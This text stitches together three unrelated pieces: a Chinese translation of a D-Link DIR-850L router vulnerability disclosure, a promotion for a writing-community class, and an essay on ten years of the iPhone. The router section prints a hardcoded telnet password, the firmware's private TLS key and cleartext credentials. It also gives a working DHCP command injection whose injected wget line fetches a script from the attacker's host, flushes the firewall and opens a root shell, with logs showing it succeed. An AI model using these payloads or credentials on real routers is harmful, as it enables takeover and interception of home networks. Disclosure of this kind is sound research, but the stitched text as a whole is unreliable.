    user@kali:~/petage-dlink$ telnet 192.168.0.1 Trying 192.168.0.1... Connected to 192.168.0.1. Escape character is '^]'. Login: Alphanetworks Password: wrgac25_dlink.2013gui_dir850l   BusyBox v1.14.1 (2017-01-20 14:35:27 CST) built-in shell (msh) Enter 'help' for a list of built-in commands.  # echo what what #

    Stunnel private keys细节

    密钥通过硬编码方式保存在固件中。管理通过HTTPS方式,攻击者可以发起SSL中间人攻击。细节如下:

    # ls -la /etc/stunnel.key -rwxr-xr-x    1 root     root         1679 Jan 20  2017 /etc/stunnel.key # cat /etc/stunnel.key -----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEAo/0bZcpc3Npc89YiNcP+kPxhLCGLmYXR4rHLt2I1BbnkXWHk MY1Umfq9FAzBYSvPYEGER4gYq467yvp5wO97CUoTSJHbJDPnp9REj6wLcMkG7R9O g8/WuQ3hsoexPu4YkjJXPhtQ6YkV7seEDgP3C2TNqCnHdXzqSs7+vT17chwu8wau j/VMVZ2FRHU63JQ9DG6PqcudHTW+T/KVnmWXQnspgr8ZMhXobETtdqtRPtxbA8mE ZeF8+cIoA9VcqP09/VMBbRm+o5+Q4hjtvSrv+W2bEd+BDU+V45ZX8ZfPoEWYjQqI kv7aMECTIX2ebgKsjCK3PfYUX5PYbVWUV+176wIDAQABAoIBAQCQR/gcBgDQO7t+ uc9dmLTYYYUpa9ZEW+3/U0kWbuyRvi1DUAaS5nMiCu7ivhpCYWZSnTJCMWbrQmjN vLT04H9S+/6dYd76KkTOb79m3Qsvz18tr9bHuEyGgsUp66Mx6BBsSKhjt2roHjnS 3W29WxW3y5f6NdAM+bu12Ate+sIq8WHsdU0hZD+gACcCbqrt4P2t3Yj3qA9OzzWb b9IMSE9HGWoTxEp/TqbKDl37Zo0PhRlT3/BgAMIrwASb1baQpoBSO2ZIcwvof31h IfrbUWgTr7O2Im7OiiL5MzzAYBFRzxJsj15mSm3/v3cZwK3isWHpNwgN4MWWInA1 t39bUFl5AoGBANi5fPuVbi04ccIBh5dmVipy5IkPNhY0OrQp/Ft8VSpkQDXdWYdo MKF9BEguIVAIFPQU6ndvoK99lMiWCDkxs2nuBRn5p/eyEwnl2GqrYfhPoTPWKszF rzzJSBKoStoOeoRxQx/QFN35/LIxc1oLv/mFmZg4BqkSmLn6HrFq2suVAoGBAMG1 CqmDs2vU43PeC6G+51XahvRI3JOL0beUW8r882VPUPsgUXp9nH3UL+l9/cBQQgUC n12osLOAXhWDJWvJquK9HxkZ7KiirNX5eJuyBeaxtOSfBJEKqz/yGBRRVBdBHxT2 a1+gO0MlG6Dtza8azl719lr8m6y2O9pyIeUewUl/AoGAfNonCVyls0FwL57n+S2I eD3mMJtlwlbmdsI1UpMHETvdzeot2JcKZQ37eIWyxUNSpuahyJqzTEYhf4kHRcO/ I0hvAe7UeBrLYwlZquH+t6lQKee4km1ULcWbUrxHGuX6aPBDBkG+s75/eDyKwpZA S0RPHuUv2RkQiRtxsS3ozB0CgYEAttDCi1G82BxHvmbl23Vsp15i19KcOrRO7U+b gmxQ2mCNMTVDMLO0Kh1ESr2Z6xLT/B6Jgb9fZUnVgcAQZTYjjXKoEuygqlc9f4S/ C1Jst1koPEzH5ouHLAa0KxjGoFvZldMra0iyJaCz/qHw6T4HXyALrbuSwOIMgxIM Y00vZskCgYAuUwhDiJWzEt5ltnmYOpCMlY9nx5qJnfcSOld5OHZ0kUsRppKnHvHb MMVyCTrp1jiH/o9UiXrM5i79fJBk7NT7zqKdI0qmKTQzNZhmrjPLCM/xEwAXtQMQ 1ldI69bQEdRwQ1HHQtzVYgKA9XCmvrUGXRq6E5sp2ky+X1QabC7bIg== -----END RSA PRIVATE KEY----- # cat /etc/stunnel_cert.pem Certificate: Data:     Version: 3 (0x2)     Serial Number:         87:6f:88:76:87:df:e7:78     Signature Algorithm: sha1WithRSAEncryption     Issuer: C=TW, ST=Taiwan, O=None, OU=None, CN=General Root CA/emailAddress=webmaster@localhost     Validity         Not Before: Feb 22 06:04:36 2012 GMT         Not After : Feb 17 06:04:36 2032 GMT     Subject: C=TW, ST=Taiwan, L=HsinChu, O=None, OU=None, CN=General Router/emailAddress=webmaster@localhost     Subject Public Key Info:         Public Key Algorithm: rsaEncryption             Public-Key: (2048 bit)             Modulus:                 00:a3:fd:1b:65:ca:5c:dc:da:5c:f3:d6:22:35:c3:                 fe:90:fc:61:2c:21:8b:99:85:d1:e2:b1:cb:b7:62:                 35:05:b9:e4:5d:61:e4:31:8d:54:99:fa:bd:14:0c:                 c1:61:2b:cf:60:41:84:47:88:18:ab:8e:bb:ca:fa:                 79:c0:ef:7b:09:4a:13:48:91:db:24:33:e7:a7:d4:                 44:8f:ac:0b:70:c9:06:ed:1f:4e:83:cf:d6:b9:0d:                 e1:b2:87:b1:3e:ee:18:92:32:57:3e:1b:50:e9:89:                 15:ee:c7:84:0e:03:f7:0b:64:cd:a8:29:c7:75:7c:                 ea:4a:ce:fe:bd:3d:7b:72:1c:2e:f3:06:ae:8f:f5:                 4c:55:9d:85:44:75:3a:dc:94:3d:0c:6e:8f:a9:cb:                 9d:1d:35:be:4f:f2:95:9e:65:97:42:7b:29:82:bf:                 19:32:15:e8:6c:44:ed:76:ab:51:3e:dc:5b:03:c9:                 84:65:e1:7c:f9:c2:28:03:d5:5c:a8:fd:3d:fd:53:                 01:6d:19:be:a3:9f:90:e2:18:ed:bd:2a:ef:f9:6d:                 9b:11:df:81:0d:4f:95:e3:96:57:f1:97:cf:a0:45:                 98:8d:0a:88:92:fe:da:30:40:93:21:7d:9e:6e:02:                 ac:8c:22:b7:3d:f6:14:5f:93:d8:6d:55:94:57:ed:                 7b:eb             Exponent: 65537 (0x10001)     X509v3 extensions:         X509v3 Basic Constraints:              CA:FALSE         Netscape Comment:              OpenSSL Generated Certificate         X509v3 Subject Key Identifier:              B5:BF:D1:A5:D6:6F:20:B0:89:1F:A6:C1:58:05:31:B2:B3:D0:C1:01         X509v3 Authority Key Identifier:              keyid:5D:F8:E9:B5:F1:57:A4:90:94:BB:9F:DB:F7:91:95:E7:1C:A2:E7:D2  Signature Algorithm: sha1WithRSAEncryption     3d:09:22:d0:a6:7d:9c:cd:bd:5b:ad:62:c2:6a:29:12:d1:61:     88:ca:1e:68:1d:04:dd:40:fb:a9:d3:9f:22:49:dc:fa:fb:3c:     21:dd:45:a5:53:1a:9b:80:ee:50:16:a6:36:3a:3c:f0:39:27:     e4:8d:70:20:03:73:7f:26:65:ac:ab:05:b1:84:ee:7c:16:43:     ca:2f:b5:6b:44:fc:75:a1:c7:86:04:18:b4:df:b2:76:f3:88:     fb:dc:ec:99:3d:fe:d1:7c:ea:fa:56:eb:0b:d5:69:84:48:3d:     12:db:d1:ef:f9:89:b0:62:70:ec:be:dd:e6:ef:dd:88:cf:f4:     e5:ff:1d:88:d5:e0:23:f0:bb:a3:df:8e:8a:05:ea:f3:dc:14:     49:2d:46:4a:27:40:a6:fc:70:4a:f5:94:3f:94:64:d1:93:7b:     03:12:75:67:30:ee:8c:07:e1:73:77:00:23:d6:68:20:07:7f:     8f:4e:1d:e8:76:87:0d:4c:26:f6:56:84:e2:56:98:a0:6c:ad:     71:21:23:a4:a6:3b:b9:8e:27:13:c2:ae:70:0f:6a:c6:be:b8:     88:9a:0a:d7:00:39:3a:90:7e:5f:4d:22:88:4e:a6:8a:2f:42:     b4:dc:18:a4:eb:fa:f1:04:0e:a7:e2:ff:5d:ac:cd:61:28:01:     7e:d3:01:13 -----BEGIN CERTIFICATE----- MIIEBDCCAuygAwIBAgIJAIdviHaH3+d4MA0GCSqGSIb3DQEBBQUAMHoxCzAJBgNV BAYTAlRXMQ8wDQYDVQQIDAZUYWl3YW4xDTALBgNVBAoMBE5vbmUxDTALBgNVBAsM BE5vbmUxGDAWBgNVBAMMD0dlbmVyYWwgUm9vdCBDQTEiMCAGCSqGSIb3DQEJARYT d2VibWFzdGVyQGxvY2FsaG9zdDAeFw0xMjAyMjIwNjA0MzZaFw0zMjAyMTcwNjA0 MzZaMIGLMQswCQYDVQQGEwJUVzEPMA0GA1UECAwGVGFpd2FuMRAwDgYDVQQHDAdI c2luQ2h1MQ0wCwYDVQQKDAROb25lMQ0wCwYDVQQLDAROb25lMRcwFQYDVQQDDA5H ZW5lcmFsIFJvdXRlcjEiMCAGCSqGSIb3DQEJARYTd2VibWFzdGVyQGxvY2FsaG9z dDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKP9G2XKXNzaXPPWIjXD /pD8YSwhi5mF0eKxy7diNQW55F1h5DGNVJn6vRQMwWErz2BBhEeIGKuOu8r6ecDv
     ewlKE0iR2yQz56fURI+sC3DJBu0fToPP1rkN4bKHsT7uGJIyVz4bUOmJFe7HhA4D 9wtkzagpx3V86krO/r09e3IcLvMGro/1TFWdhUR1OtyUPQxuj6nLnR01vk/ylZ5l l0J7KYK/GTIV6GxE7XarUT7cWwPJhGXhfPnCKAPVXKj9Pf1TAW0ZvqOfkOIY7b0q 7/ltmxHfgQ1PleOWV/GXz6BFmI0KiJL+2jBAkyF9nm4CrIwitz32FF+T2G1VlFft e+sCAwEAAaN7MHkwCQYDVR0TBAIwADAsBglghkgBhvhCAQ0EHxYdT3BlblNTTCBH ZW5lcmF0ZWQgQ2VydGlmaWNhdGUwHQYDVR0OBBYEFLW/0aXWbyCwiR+mwVgFMbKz 0MEBMB8GA1UdIwQYMBaAFF346bXxV6SQlLuf2/eRleccoufSMA0GCSqGSIb3DQEB BQUAA4IBAQA9CSLQpn2czb1brWLCaikS0WGIyh5oHQTdQPup058iSdz6+zwh3UWl UxqbgO5QFqY2OjzwOSfkjXAgA3N/JmWsqwWxhO58FkPKL7VrRPx1oceGBBi037J2 84j73OyZPf7RfOr6VusL1WmESD0S29Hv+YmwYnDsvt3m792Iz/Tl/x2I1eAj8Luj 346KBerz3BRJLUZKJ0Cm/HBK9ZQ/lGTRk3sDEnVnMO6MB+FzdwAj1mggB3+PTh3o docNTCb2VoTiVpigbK1xISOkpju5jicTwq5wD2rGvriImgrXADk6kH5fTSKITqaK L0K03Bik6/rxBA6n4v9drM1hKAF+0wET -----END CERTIFICATE-----

    Nonce bruteforcing for DNS configuration细节

    htdocs/parentalcontrols/bind.php 文件可以更改DNS配置信息,并不检查管理用户的认证状态。因为对HTTP请求没有限制和认证,攻击者可以采取暴力方式破解nonce。

    8 $uptime_limit = query(INF_getinfpath($WAN1)."/open_dns/nonce_uptime") + 1800;   9 if(query(INF_getinfpath($WAN1)."/open_dns/nonce")!=$_GET["nonce"] || $_GET["nonce"]=="")  10 {  11         $Response="BindError";  12 }  13 else if(query("/runtime/device/uptime") > $uptime_limit)  14 {  15         $Response="BindTimeout";  16 }

    攻击者定义新的DNS服务器:

     21         set(INF_getinfpath($WAN1)."/open_dns/deviceid", $_GET["deviceid"]);  22         set(INF_getinfpath($WAN1)."/open_dns/parent_dns_srv/dns1", $_GET["dnsip1"]);  23         set(INF_getinfpath($WAN1)."/open_dns/parent_dns_srv/dns2", $_GET["dnsip2"]);

    攻击者可以用vuln来转发流量到自己控制的服务器。

    Weak files permission and credentials stored in cleartext细节

    一些文件权限较弱:

    1. /var/passwd

    /var/passwd 明文保存用户证书,而该文件权限是-rw-rw-rw- (666)

    # ls -la /var/passwd -rw-rw-rw-    1 root     root           28 Jan  1 00:00 /var/passwd # cat /var/passwd "Admin" "password" "0"

    2. /var/etc/hnapasswd

    攻击者也可以利用 /var/etc/hnapasswd 提取明文的密码,/var/etc/hnapasswd 文件权限也是-rw-rw-rw- (666)

    # cat /var/etc/hnapasswd Admin:password
    # ls -la /var/etc/hnapasswd -rw-rw-rw-    1 root     root           20 Jan  1 00:00 /var/etc/hnapasswd

    3. /etc/shadow

    /etc/shadow 的权限是rwxrwxrwx777)

    # ls -al /etc/shadow  lrwxrwxrwx    1 root     root           15 Jan 20  2017 /etc/shadow -> /var/etc/shadow # ls -la /var/etc/shadow -rw-r--r--    1 root     root           93 Jan  1 00:00 /var/etc/shadow

    /var/etc/shadow 内有管理用户的DES哈希值。

    # cat /var/etc/shadow root:!:10956:0:99999:7::: nobody:!:10956:0:99999:7::: Admin:zVc1PPVw2VWMc:10956:0:99999:7:::

    4. /var/run/storage_account_root

    /var/run/storage_account_root 含有明文证书。

    /var/passwd 文件权限是 -rw-rw-rw- (666)

    # ls -la /var/run/storage_account_root -rw-rw-rw-    1 root     root           40 Jan  1 00:00 /var/run/storage_account_root # cat /var/run/storage_account_root admin:password,::: jean-claude:dusse,:::

    5. /var/run/hostapd*

    /var/run/hostapd* 含有 明文的无线密码,文件权限是-rw-rw-rw- (666)

    # ls -la /var/run/hostapd* -rw-rw-rw-    1 root     root           73 Jan  1 00:00 /var/run/hostapd-wlan1wps.eap_user -rw-rw-rw-    1 root     root         1160 Jan  1 00:00 /var/run/hostapd-wlan1.conf -rw-rw-rw-    1 root     root           73 Jan  1 00:00 /var/run/hostapd-wlan0wps.eap_user -rw-rw-rw-    1 root     root         1170 Jan  1 00:00 /var/run/hostapd-wlan0.conf # cat /var/run/hostapd*|grep -i pass wpa_passphrase=aaaaa00000 wpa_passphrase=aaaaa00000

    Pre-Auth RCEs as root (L2)细节

    路由器上的DHCP客户端易受到命令注入攻击。

    dhcpd.conf文件:

    rasp-pwn-dlink# cat /etc/dhcp/dhcpd.conf option domain-name ";wget -O /var/re http://10.254.239.1/dhcp-rce ; sh /var/re;"; option domain-name-servers 8.8.8.8, 8.8.4.4; default-lease-time 600; max-lease-time 7200; ddns-update-style none; subnet 10.254.239.0 netmask 255.255.255.224 {   range 10.254.239.10 10.254.239.20;   option routers 10.254.239.1; } rasp-pwn-dlink# ifconfig eth1 eth1
       Link encap:Ethernet  HWaddr 00:0e:c6:aa:aa:aa             inet addr:10.254.239.1  Bcast:10.254.239.255  Mask:255.255.255.0           inet6 addr: fe80::20e:caaa:aaaa:aaa/64 Scope:Link           UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1           RX packets:129 errors:0 dropped:0 overruns:0 frame:0           TX packets:107 errors:0 dropped:0 overruns:0 carrier:0           collisions:0 txqueuelen:1000            RX bytes:11181 (10.9 KiB)  TX bytes:49155 (48.0 KiB)  rasp-pwn-dlink# cat /var/www/html/dhcp-rce  #!/bin/sh  wget -O /var/telnetd-dhcpd-wan http://10.254.239.1/dlink-telnetd chmod 777 /var/telnetd-dhcpd-wan (for i in 0 1 2 3; do # win races against legit iptables rules iptables -F iptables -X iptables -t nat -F iptables -t nat -X iptables -P INPUT ACCEPT iptables -P OUTPUT ACCEPT iptables -P FORWARD ACCEPT sleep 10 done ) &  /var/telnetd-dhcpd-wan -l /bin/sh -p 110 &  rasp-pwn-dlink# dhcpd eth1 Internet Systems Consortium DHCP Server 4.3.1 Copyright 2004-2014 Internet Systems Consortium. All rights reserved. For info, please visit https://www.isc.org/software/dhcp/ Config file: /etc/dhcp/dhcpd.conf Database file: /var/lib/dhcp/dhcpd.leases PID file: /var/run/dhcpd.pid Wrote 1 leases to leases file. Listening on LPF/eth1/00:0e:c6:aa:aa:aa/10.254.239.0/27 Sending on   LPF/eth1/00:0e:c6:aa:aa:aa/10.254.239.0/27 Sending on   Socket/fallback/fallback-net rasp-pwn-dlink#

    开机后发送DHCP请求,路由器会与WAN远程HTTP服务器发起连接:

    rasp-pwn-dlink# tail -f /var/log/nginx/access.log 10.254.239.10 - - [03/Jul/2017:15:40:30 +0000] "GET /dhcp-rce HTTP/1.1" 200 383 "-" "Wget" 10.254.239.10 - - [03/Jul/2017:15:40:30 +0000] "GET /dlink-telnetd HTTP/1.1" 200 10520 "-" "Wget" 10.254.239.10 - - [03/Jul/2017:15:40:30 +0000] "GET /dhcp-rce HTTP/1.1" 200 383 "-" "Wget" 10.254.239.10 - - [03/Jul/2017:15:40:30 +0000] "GET /dlink-telnetd HTTP/1.1" 200 10520 "-" "Wget"

    来自WANtelnetd:

    rasp-pwn-dlink# telnet 10.254.239.10 110 Trying 10.254.239.10... Connected to 10.254.239.10. Escape character is '^]'.   BusyBox v1.14.1 (2017-01-20 14:35:27 CST) built-in shell (msh) Enter 'help' for a list of built-in commands.  # uname -ap Linux dlinkrouter 2.6.30.9 #1 Fri Jan 20 14:12:50 CST 2017 rlx GNU/Linux # cd /var # ls -la drwxr-xr-x    5 root     root            0 Jan  1 00:00 etc drwxr-xr-x    2 root     root            0 Jan  1  1970 log drwxr-xr-x    3 root     root            0 Jan  1 00:00 run drwxr-xr-x    2 root     root            0 Jan  1  1970 sealpac drwxr-xr-x    4 root     root            0 Jan  1 00:00 tmp drwxr-xr-x    2 root     root            0 Jan  1  1970 dnrd drwxr-xr-x    4 root     root            0 Jan  1  1970 htdocs -rw-r--r--    1 root     root           10 Jan  1  1970 TZ drwxr-xr-x    2 root     root            0 Jan  1 00:00 servd -rw-r--r--    1 root     root         5588 Jan  1  1970 default_wifi.xml -rw-rw-rw-    1 root     root           28 Jan  1 00:00 passwd drwxrwx---    2 root     root            0 Jan  1 00:00 session srwxr-xr-x    1 root     root            0 Jan  1 00:00 gpio_ctrl -rw-r--r--    1 root     root            2 Jan  1 00:00 sys_op drwxr-xr-x    2 root     root            0 Jan  1 00:00 home lrwxrwxrwx    1 root     root           16 Jan  1 00:00 portal_share -> /var/tmp/storage drwxr-xr-x    3 root     root            0 Jan  1 00:00 proc -rwxr-xr-x    1 root     root          856 Jan  1 00:00 killrc0 drwxr-xr-x    2 root     root            0 Jan  1 00:00 porttrigger -rw-r--r--    1 root     root          383 Jan  1 00:00 re -rwxrwxrwx    1 root     root        10520 Jan  1 00:00 telnetd-dhcpd-wan -rw-rw-rw-    1 root     root          301 Jan  1 00:00 rendezvous.conf -rw-rw-rw-    1 root     root          523 Jan  1 00:00 stunnel.conf -rw-rw-rw-    1 root     root          282 Jan  1 00:00 topology.conf -rw-rw-rw-    1 root     root          394 Jan  1 00:00 lld2d.conf -rw-r--r--    1 root     root          199 Jan  1 00:00 hosts drwxr-xr-x   16 root     root          241 Jan 20  2017 .. drwxr-xr-x   14 root     root            0 Jan  1 00:00 . # cat re #!/bin/sh  wget -O /var/telnetd-dhcpd-wan http://10.254.239.1/dlink-telnetd chmod 777 /var/telnetd-dhcpd-wan (for i in 0 1 2 3; do # win races against legit iptables rules iptables -F         iptables -X iptables -t nat -F iptables -t nat -X iptables -P INPUT ACCEPT iptables -P OUTPUT ACCEPT iptables -P FORWARD ACCEPT sleep 10  done ) & /var/telnetd-dhcpd-wan -l /bin/sh -p 110 &  #

    还有一些WAN RCEs,首先第一个就是 /etc/services/INET/inet_ipv4.php存在漏洞

    $udhcpc_helper = “/var/servd/”.$inf.”-udhcpc.sh”;

    101行之后存在命令注入漏洞

     99     fwrite(w,$udhcpc_helper,  100                 '#!/bin/sh/n'. 101                 'echo [$0]: $1 $interface $ip $subnet $router $lease $domain $scope $winstype $wins $sixrd_prefix $sixrd_prefixlen $sixrd_msklen $sixrd_bripaddr ... > /dev/console/n'. 102                 'phpsh '.$hlper.' ACTION=$1'. 103                         ' INF='.$inf. 104                         ' INET='.$inet. 105                         ' MTU='.$mtu. 106                         ' INTERFACE=$interface'. 107                         ' IP=$ip'. 108                         ' SUBNET=$subnet'. 109                         ' BROADCAST=$broadcast'. 110                         ' LEASE=$lease'. 111                         ' "DOMAIN=$domain"'. 112                         ' "ROUTER=$router"'. 113                         ' "DNS='.$dns.'$dns"'. 114                         ' "CLSSTROUT=$clsstrout"'. 115                         ' "MSCLSSTROUT=$msclsstrout"'. 116                         ' "SSTROUT=$sstrout"'. 117                         ' "SCOPE=$scope"'. 118                         ' "WINSTYPE=$winstype"'. 119                         ' "WINS=$wins"'. 120                         ' "SIXRDPFX=$sixrd_prefix"'. 121                         ' "SIXRDPLEN=$sixrd_prefixlen"'. 122                         ' "SIXRDMSKLEN=$sixrd_msklen"'. 123                         ' "SIXRDBRIP=$sixrd_bripaddr"'. 124                         ' "SDEST=$sdest"'. 125                         ' "SSUBNET=$ssubnet"'. 126                         ' "SROUTER=$srouter"/n'. 127                 'exit 0/n' 128                 );

    ;wget -O /var/re http://10.254.239.1/dhcp-rce ; sh /var/re; 可以注入对 /var/servd/一些生成的文件进行注入。

    # cat /var/servd/DHCPS4.LAN-1_start.sh #!/bin/sh rm -f /var/servd/LAN-1-udhcpd.lease xmldbc -X /runtime/inf:1/dhcps4/leases xmldbc -s /runtime/inf:1/dhcps4/pool/start 192.168.0.100 xmldbc -s /runtime/inf:1/dhcps4/pool/end 192.168.0.199 xmldbc -s /runtime/inf:1/dhcps4/pool/leasetime 604800 xmldbc -s /runtime/inf:1/dhcps4/pool/network 192.168.0.1 xmldbc -s /runtime/inf:1/dhcps4/pool/mask 24 xmldbc -s /runtime/inf:1/dhcps4/pool/domain ;wget -O /var/re http
    ://10.254.239.1/dhcp-rce ; sh /var/re; <--- command injection xmldbc -s /runtime/inf:1/dhcps4/pool/router 192.168.0.1 event UPDATELEASES.LAN-1 add "@/etc/events/UPDATELEASES.sh LAN-1 /var/servd/LAN-1-udhcpd.lease" udhcpd /var/servd/LAN-1-udhcpd.conf & exit 0 exit 0 #  # cat /var/servd/DHCPS4.LAN-2_start.sh #!/bin/sh rm -f /var/servd/LAN-2-udhcpd.lease xmldbc -X /runtime/inf:2/dhcps4/leases xmldbc -s /runtime/inf:2/dhcps4/pool/start 192.168.7.100 xmldbc -s /runtime/inf:2/dhcps4/pool/end 192.168.7.199 xmldbc -s /runtime/inf:2/dhcps4/pool/leasetime 604800 xmldbc -s /runtime/inf:2/dhcps4/pool/network 192.168.7.1 xmldbc -s /runtime/inf:2/dhcps4/pool/mask 24 xmldbc -s /runtime/inf:2/dhcps4/pool/domain ;wget -O /var/re http://10.254.239.1/dhcp-rce ; sh /var/re; <--- command injection xmldbc -s /runtime/inf:2/dhcps4/pool/router 192.168.7.1 event UPDATELEASES.LAN-2 add "@/etc/events/UPDATELEASES.sh LAN-2 /var/servd/LAN-2-udhcpd.lease" udhcpd /var/servd/LAN-2-udhcpd.conf & exit 0 exit 0 #

    *本文译者:ang010ela,参考资料https://pierrekim.github.io/blog/2017-09-08-dlink-850l-mydlink-cloud-0days-vulnerabilities.html,转载请注明来自1024rd.COM

  • 【无戒小岛免费分享课】如何在故事中塑造具有真实感的人物形象

    【无戒小岛免费分享课】如何在故事中塑造具有真实感的人物形象

    本期嘉宾:共央君

    95后大学生

    简书签约作者

    故事会专栏作者

    立志讲够100个情感故事

    她的文章相继被清华南都、共青团中央、读点、半月谈等知名大号转发

    更有著名导师涂磊亲自朗诵转载

    网友直呼“美感与骨感”兼具的暖心故事

    已签约出版合集《这世界没有所谓的毫不费力》,即将上市

    文/无戒

    专注做一件事的人会怎样,答案很简单,会成功。

    共央君是无戒写作训练营的第三期学员,之前我看过他的文章,很暖很走心

    那时候我一直以为他是个男子,她在群里很幽默,也很低调,总是默默的写故事。在她身上我看到了专注原来这么简单,她的文章都是讲一些暖心的故事。

    我一直觉得她会签约,她总说不急。我问过她很多次说:“亲爱的你可以申请签约了。”她说我再等等,等我在写几篇再去申请。

    申请签约成功那天,她高兴的跑过来跟我说:“无戒姐姐,我申请成功了。”那一天整个无戒小岛都炸了,大家都很开心,好像看到了希望,看到了努力的意义。

    无戒小岛现在已经近一千多人了,我跟我们的小岛舵主商量开始做小岛免费分享课,邀请我们群里的大神给大家做分享,一起进步。他们呼声很高。

    无戒写作训练营出了六位签约作者,他们每个人都有自己的特色,很棒,很努力。

    我这样说并不是吹嘘我的训练营有多棒,只是想说,任何别人给你的媒介只是跳杆,更多的还是在于自己是否用心。

    每期训练营都有很优秀的学员,也有很多从开始到结束一个字都没有写的学员,

    所以重要还是做与不做。

    日更这个有争议性的话题,我再次说起,无论是是否日更,记得跟着自己的节奏不要放弃。

    签约了六位宝宝,他们都有共性,文章在垂直领域很有代表性,而且会坚持不断的输出内容。

    那么你想签约,你想好定位了吗?你有突出的优势吗?你可以坚持下去吗?

    问问自己能做到多少就有多少机会。

    我们无戒小岛的免费分享课正式开启,每周三邀请无戒岛的大咖为大家分享写作心得,读书心得,出版心得,甚至更多。有人说分享如何泡妹子,撩汉子,我认为也是可以有的。

    21天训练营结束不是终点而是起点,我们的服务不是21天结束就会结束。我们的无戒小岛每周都会组织点评课,每月都会组织征文,为大家提供素材。我们岛里每一个宝宝都是我们的分享者,每个人都会机会被点评或者点评他人。

    我希望课程越做越完美,口碑不是用一两篇讽刺文章就可以否定的,而真正的用心,每个参与进来的宝宝都可以切实感受到。

    所以对于别人的说法,我选择沉默,有人说我讨好学员,我只想说他们交钱进来不是当我给他当爷的而是学习东西。我打赏学员是因为我觉得他们的努力值得鼓舞。

    而我选择不回应,是因为有人告诉我说,狗咬我们一口,我们不应该咬狗一口。

    对,这句话说的很对。

    这期我们小岛邀请的嘉宾是简书签约作者:共央君

    她分享的主题是:如何在故事中塑造真实感的人物形象。

    看过她的文章都应该知道,她每一个故事都很真实,这其中的秘诀是什么,今晚八点不见不散。

    让我们的共央君宝宝为你揭秘。

    分享时间:2017年9月13号晚8点

    参与方式:

    关注简书大学堂微信公众号(jianshuit),后台回复“我要上岛”,获得主持人美女微信,进群领取分享课免费卷,地址在群里。

    或者直接加我们美女主持人澜木卿的微信:xinge1677401116

    无戒小岛第二期有奖征文【秋日时光】

    欢迎参与

    无戒小岛之12号当铺主题征文点这里参与

  • 十年一觉 iPhone 梦:你根本想不到当年他们为了买部手机会做什么

    点击上方蓝字关注「新世相」,我们终将改变潮水的方向。

    对过去的十年,可以说只有一个最准确的称呼:苹果手机发明后的十年。

    十年一觉 iPhone 梦:你根本想不到当年他们为了买部手机会做什么

    如果你的年龄大于十岁,你就可以骄傲地说自己身处于洪流中,见证一个了不起的时代。

    十年一觉 iPhone 梦:你根本想不到当年他们为了买部手机会做什么

    凌晨刚结束的苹果发布会稍显与众不同,苹果公司创始人乔布斯被再一次隆重缅怀。对,iPhone 已经诞生 10 年了,它卖出了 12 亿部。

    新世相的用户里 ,有一半人使用 iPhone。但并不是说只有用苹果手机才与此有关系。无论你在哪里,用什么手机,你生活的某个方面一定因为 iPhone 的诞生而发生过改变。

    一位读者跟我说,10 年前他上高中时,用妈妈买的山寨杂牌手机。班里的土豪买了 iphone 3GS,玩赛车游戏,左右晃就能控制,看得他直流口水。

    苹果手机只是个开始,它的跟随者与它一起,让我们真正进入了智能手机时代。

    十年一觉 iPhone 梦:你根本想不到当年他们为了买部手机会做什么

    10 年前乔布斯说,iPhone 将重新定义手机。他自己应该也没料到,它重新定义了商业乃至世界的运转方式。

    你也许并不想买一台新款的 iPhone。但如果你想,在文章的最后,给我讲一段关于 iPhone 的往事吧。我给你机会在第一时间获得它。

    这个夜晚,我难免想起了很多围绕着 iPhone 发生的故事。

    我的第一台 iPhone 是第 4 代,但它让我非常尴尬。我当时从工作了 8 年的体制内工作离职,换到一家市场化的媒体工作,薪水高了不少。

    作为送给自己的礼物,我用 iPhone 换掉了手里的黑莓。一位前同事看到以后说:呀,果然有钱了就马上换 iPhone 了。

    想想看,就在没几年前,用 iPhone 都被赋予了一种特别的标签。有个女孩说,第一次拿到自己的 iPhone 走在校园里,觉得整个人都带着风。

    一个同事刚上大学时,姐姐给他买了 iPhone 4,全班只有他一个人有。

    他一直记得睡在上铺的室友拿着他的 iPhone 的表情,翻来覆去地看,脸上的笑容比见到异地女友还开心。

    昨天我们聊起这件事,他马上就回到了那种兴奋的状态:“iPhone 4 太划时代了。老拉风,我都感觉出了阶级。”

    那时 iPhone 上有个吹裙子的游戏,对屏幕吹气,美女裙子就会掀开。

    一群男孩吹得都快缺氧了。

    现在你可能无法想象,在很长时间里,用 iPhone 意味着多么不同,而人们为了得到它,付出了想不到的代价。

    原本,人们追逐 iPhone 是因为它的先驱性、设计、系统。但事实上,这一切最后变成了追逐金钱与身份混杂的荣耀。

    一个广为流传的故事是卖肾买 iPhone。

    那是 iPhone 4 最火的时候,2011 年,一个 17 岁的安徽高中生,通过黑中介卖掉了自己的左肾,赚了 2 万多块,买了新的 iPhone 和 iPad。

    iPhone 因此得了一个称号——肾机。

    你根本想象不到,一些人为了得到一部 iPhone 付出过什么努力。

    当然没有卖肾这么极端,可能可能是 3 个月的晚饭钱,一些憋着劲打工的孤独的夜晚。

    一个朋友当年在日本留学,带去的手机没多久坏了。她准备买一个好的,选中了 iPhone。

    为了赚钱,她兼职两份工,从下午一点到晚上九点都打工。攒钱的那两个月,她买超市的半价食品,拒绝一切聚餐,舍不得钱买化妆品,每天擦擦水乳就出门。

    对 iPhone 的渴望,甚至超过了女孩对“好看”的永恒追求。

    那位羡慕我同事 iPhone 的上铺兄弟,后来也攒钱买了台,不是给自己,是送给异地的女友。

    为此,他去外面找私活,画图纸,甲方总不满意。他就买了个充电小台灯,宿舍断电熄灯了,还猫在床上画。熬夜半学期,终于凑齐了钱。

    我们曾为了 iPhone 这么拼命,很长时间里,它不仅是一台手机,它有特殊的光环。“用 iPhone 的人”是一种身份标签,带着褒义或贬义的偏见。

    但后来,事情开始变化。

    2017 年,iPhone 在大中华区的销量已经连续 6 个季度下滑。iPhone 的光环开始减退。

    当年销量首次下滑时,一个北京市民告诉外国记者,根本不考虑花 5000 块买一台新 iPhone。因为他去年刚在北京市区买了一套房,收入的大部分要用来还贷款。

    房子给他的安全感,让他对手里那部 2000 块的国产机彻底满意。

    对越来越多的人来说,有一部 iPhone 不再是那么重要的事。我有个朋友,买得起 iPhone,但这几年一直用国产手机。他觉得用国产是一种自我表达:我在支持国货。

    这 10 年里,苹果手机让自己慢慢变成了普通的东西,从肾机回归为手机。

    那个熬夜给女友买 iPhone 的男孩,自己用的是摩托罗拉,1400 块。这场 iPhone 和摩托罗拉的异地恋后来持续了两年多。快毕业时,女孩有了新对象。

